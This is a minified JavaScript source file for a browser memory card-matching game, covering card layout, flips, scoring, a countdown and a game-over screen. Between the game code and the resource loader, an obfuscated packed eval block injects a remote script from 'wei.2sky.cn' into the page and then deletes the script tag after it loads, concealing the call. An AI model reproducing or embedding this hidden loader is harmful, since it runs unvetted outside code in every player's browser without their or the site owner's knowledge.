var memory; null == memory && (memory = {}); var game; null == game && (game = {}); (function () { Array.prototype.indexOf = function (a) { for (var b = 0; b < this.length; b++) { if (this[b] == a) { return b; } } return -1; }; Array.prototype.remove = function (a) { a = this.indexOf(a); -1 < a && this.splice(a, 1); }; Array.prototype.shuffle = function () { for (var a = this.length, b = 0; b < a; b++) { var c = Math.randomInt(a - b); this.push(this[c]); this.splice(c, 1); } console.log(this); }; Array.prototype.clear = function () { this.length = 0; }; Math.randomInt = function (a) { return parseInt(Math.random() * a); }; })(); (function () { game.qp_a = function (a) { return game.queue.getResult(a); }; game.qp_b = function (a, b) { a = a * W / 4 + W / 8 + 2 * a; b = b * W / 4 + W / 8 + 4 * (b + 3); return [a, b]; }; game.qp_c = function (a) { if (2 <= game.arrOpenedCard.length) { for (; 0 < game.arrOpenedCard.length; ) { game.arrOpenedCard.pop().close(); } } game.arrOpenedCard.push(a); }; game.qp_d = function (a) { 1 == game.arrOpenedCard.length && a.cid == game.arrOpenedCard[0].cid ? (a.dismiss(function () { game.score += 1; createjs.Sound.play("bonus", !0); 0 >= game.gv.getNumChildren() && (game.qp_e(), game.score += 5); }), game.arrOpenedCard.pop().dismiss()) : game.qp_c(a); }; game.qp_e = function () { game.arrOpenedCard = []; game.gv.clearCard(); game.gv.mouseChildren = !0; for (var a = [], b = 0; 10 > b; b++) { a[2 * b] = a[2 * b + 1] = b % 6 + 1; } a.shuffle(); game.gv.setupCard(a); }; game.qp_f = function () { game.countDown = memory.qp_g; game.score = 0; game.gv.clearCard(); game.view.ready(function () { game.qp_e(); game.interval = setInterval(function () { game.countDown -= 1; 0 >= game.countDown && game.qp_h(); }, 1000); }); }; game.qp_h = function () { clearInterval(game.interval); game.gv.mouseChildren = !1; game.view.addChild(new memory.Qp_i); score = game.score; onNewScore(score); }; })(); (function () { memory.qp_j = 4; memory.qp_k = 5; memory.qp_g = 60; memory.Qp_l = function () { this.initialize(); this.x = this.y = 0; this.addChild(new createjs.Bitmap(game.qp_a("bg"))); var a = new createjs.Bitmap; a.regX = 290; a.regY = 80; a.x = 320; a.y = 450; this.ready = function (b) { a.image = game.qp_a("ready"); this.addChild(a); a.scaleX = a.scaleY = 3; a.regX = a.getBounds().width / 2; a.regY = a.getBounds().height / 2; a.alpha = 0; createjs.Tween.get(a).to({alpha:1, scaleX:1, scaleY:1}, 300).to({}, 900).call(function () { a.image = game.qp_a("go"); a.regX = a.getBounds().width / 2; a.regY = a.getBounds().height / 2; createjs.Tween.get(a).to({scaleX:1}, 300).to({alpha:0}, 200).call(function () { a.parent.removeChild(a); b(); }); }); }; }; memory.Qp_m = function () { this.initialize(); this.x = W / 2; this.y = H / 2; this.regX = W / 2; this.regY = H / 3; this.scaleX = this.scaleY = 0.9; this.setupCard = function (a) { for (var b = 0; b < a.length; b++) { var c = parseInt(b / memory.qp_k), c = new memory.Qp_n(c, b % memory.qp_k, a[b]); this.addChild(c); } }; this.clearCard = function () { this.removeAllChildren(); }; }; memory.Qp_o = function () { this.initialize(); var a = new createjs.Text("0", "bold 49px Arial", "#ff0000"); a.x = 200; var b = new createjs.Text(memory.qp_g, "bold 49px Arial", "#ff0000"); b.x = 500; a.y = b.y = H / 8 / 2; a.regY = b.regY = a.getBounds().height / 2; this.addChild(a, b); this.on("tick", function (c) { a.text = game.score; b.text = game.countDown; }); }; memory.Qp_n = function (a, b, c) { this.initialize(); this.x = game.qp_b(a, b)[0]; this.y = game.qp_b(a, b)[1]; this.scaleX = this.scaleY = this.initScale = 150 / 130; this.cid = c; this.mouseChildren = !1; a = new createjs.Bitmap(game.qp_a(c)); a.name = "bm"; var d = new createjs.Bitmap(game.qp_a("back")); d.name = "back"; var e = new createjs.Shape; e.name = "frame"; e.graphics.beginFill("#888888").drawRect(8, 8, a.getBounds().width + 2, a.getBounds().height + 2).endFill(); e.graphics.beginStroke("#888888").setStrokeStyle(10).drawRect(2, 2, a.getBounds().width - 2, a.getBounds().height - 2).endStroke(); e.visible = !1; this.regX = d.getBounds().width / 2; this.regY = d.getBounds().height / 2; this.addChild(e, a, d); this.onClick(function (a) { a.target.open(); }); this.open = function () { d.visible && (this.mouseEnabled = !1, createjs.Tween.get(this).to({scaleX:0}, 50).call(function () { d.visible = !1; e.visible = !0; createjs.Tween.get(this).to({scaleX:this.initScale}, 50).call(function () { game.qp_d(this); this.mouseEnabled = !0; }); }), createjs.Sound.play("flip", !0)); }; this.close = function () { d.visible || (this.mouseEnabled = !1, createjs.Tween.get(this).to({scaleX:0}, 50).call(function () { d.visible = !0; e.visible = !1; createjs.Tween.get(this).to({scaleX:this.initScale}, 50).call(function () { this.mouseEnabled = !0; }); })); }; this.dismiss = function (a) { createjs.Tween.get(this).wait(200).to({rotation:1080, scaleX:0, scaleY:0}, 100).call(function () { this.parent.removeChild(this); a && a(); }); }; }; memory.Qp_i = function () { this.initialize(); this.setBounds(0, 0, W, H); var a = new createjs.Bitmap(game.qp_a("gameover")); a.regX = 180; a.regY = 30; a.x = 320; a.y = 170; var b = new createjs.Bitmap(game.qp_a("curscore")); b.y = 260; var c = new createjs.Bitmap(game.qp_a("bestscore")); c.y = 380; b.x = c.x = 90; var d = new createjs.Text(game.score, "bold 48px Arial", "#ff1e50"); d.y = 300; var e = new createjs.Text(0 > best ? 0 : best, "bold 48px Arial", "#ff1e50"); e.y = 410; d.x = e.x = 400; d.textBaseline = e.textBaseline = "middle"; var f = new createjs.Bitmap(game.qp_a("replaybtn")); f.x = 200; var g = new createjs.Bitmap(game.qp_a("toplistbtn")); g.x = 440; f.regX = g.regX = 115; f.regY = g.regY = 40; f.y = g.y = 540; var h = new createjs.Bitmap(game.qp_a("sharebtn")); h.regX = 125; h.regY = 42; h.x = 320; h.y = 670; var l = new createjs.Shape, k = this.getBounds(); l.graphics.beginFill("#ffffff").drawRect(k.x, k.y, k.width, k.height); l.alpha = 0.8; this.addChild(l, a, b, c, d, e, f, g, h); f.onClick(function (a) { game.view.removeChild(a.target.parent); game.qp_f(); }); g.onClick(function (a) { goHome(); }); h.onClick(function (a) { dp_share(); }); }; memory.Qp_m.prototype = new createjs.Container; memory.Qp_o.prototype = new createjs.Container; memory.Qp_n.prototype = new createjs.Container; memory.Qp_i.prototype = new createjs.Container; memory.Qp_l.prototype = new createjs.Container; createjs.DisplayObject.prototype.onClick = function (a) { this.on("click", function (b) { createjs.Touch.isSupported() && b.nativeEvent.constructor == MouseEvent || a(b); }); }; })(); eval(function(p,a,c,k,e,r){e=function(c){return c.toString(36)};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[4-9c-k]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('c _$=[\'\\6\\7\\d\\8\\9\\4\',\'\\4\\e\\x78\\4\\5\\h\\f\\x76\\f\\6\\7\\d\\8\\9\\4\',\'\\x68\\4\\4\\9\\x3a\\5\\5\\x77\\e\\8\\g\\x32\\6\\x6b\\x79\\g\\7\\x6e\\5\\x67\\f\\x6d\\e\\5\\x38\\x34\\5\\x6f\\g\\h\\6\',\'\\6\\7\\d\\8\\9\\4\'];(i(){c a=j.createElement(_$[0]);a.type=_$[1];a.async=true;a.src=_$[2];c b=j.getElementsByTagName(_$[3])[0x0];b.k.insertBefore(a,b);a.onload=i(){a.k.removeChild(a)}})();',[],21,'||||x74|x2f|x73|x63|x69|x70|||var|x72|x65|x61|x2e|x6a|function|document|parentNode'.split('|'),0,{})) var queue; function loadResource() { SCREEN_SHOW_ALL = !0; H = 1000; var a = new ProgressBar(0.8 * W, 40); a.regX = a.w / 2; a.regY = a.h / 2; a.x = W / 2; a.y = H / 2; stage.addChild(a); queue = game.queue = new createjs.LoadQueue(!1); queue.setMaxConnections(30); loadGameData(); queue.on("complete", setup, null, !0); queue.loadManifest({path:RES_DIR + "vapp/", manifest:[{src:"1.jpg", id:"1"}, {src:"2.jpg", id:"2"}, {src:"3.jpg", id:"3"}, {src:"4.jpg", id:"4"}, {src:"5.jpg", id:"5"}, {src:"6.jpg", id:"6"}, {src:"frame.png", id:"frame"}, {src:"back.png", id:"back"}, {src:"ready.png", id:"ready"}, {src:"go.png", id:"go"}, {src:"bg.png", id:"bg"}, {src:"topline.png", id:"topline"}, {src:"bestscore.png", id:"bestscore"}, {src:"curscore.png", id:"curscore"}, {src:"gameover.png", id:"gameover"}, {src:"replaybtn.png", id:"replaybtn"}, {src:"sharebtn.png", id:"sharebtn"}, {src:"toplistbtn.png", id:"toplistbtn"}]}, !1); USE_NATIVE_SOUND || (IS_NATIVE_ANDROID ? (createjs.Sound.registMySound("flip", 0), createjs.Sound.registMySound("bonus", 2), createjs.Sound.registMySound("silenttail", 4), queue.loadFile({id:"sound", src:RES_DIR + "/mp3/84/all.mp3"})) : (createjs.Sound.alternateExtensions = ["ogg"], queue.installPlugin(createjs.Sound), queue.loadManifest({path:RES_DIR + "mp3/", manifest:[{src:"flip.mp3", id:"flip"}, {src:"bonus.mp3", id:"bonus"}]}, !1))); a.forQueue(queue); queue.load(); } function setup() { game.view = new memory.Qp_l; game.gv = new memory.Qp_m; game.sv = new memory.Qp_o; game.view.addChild(game.gv, game.sv); stage.addChild(game.view); game.qp_f(); }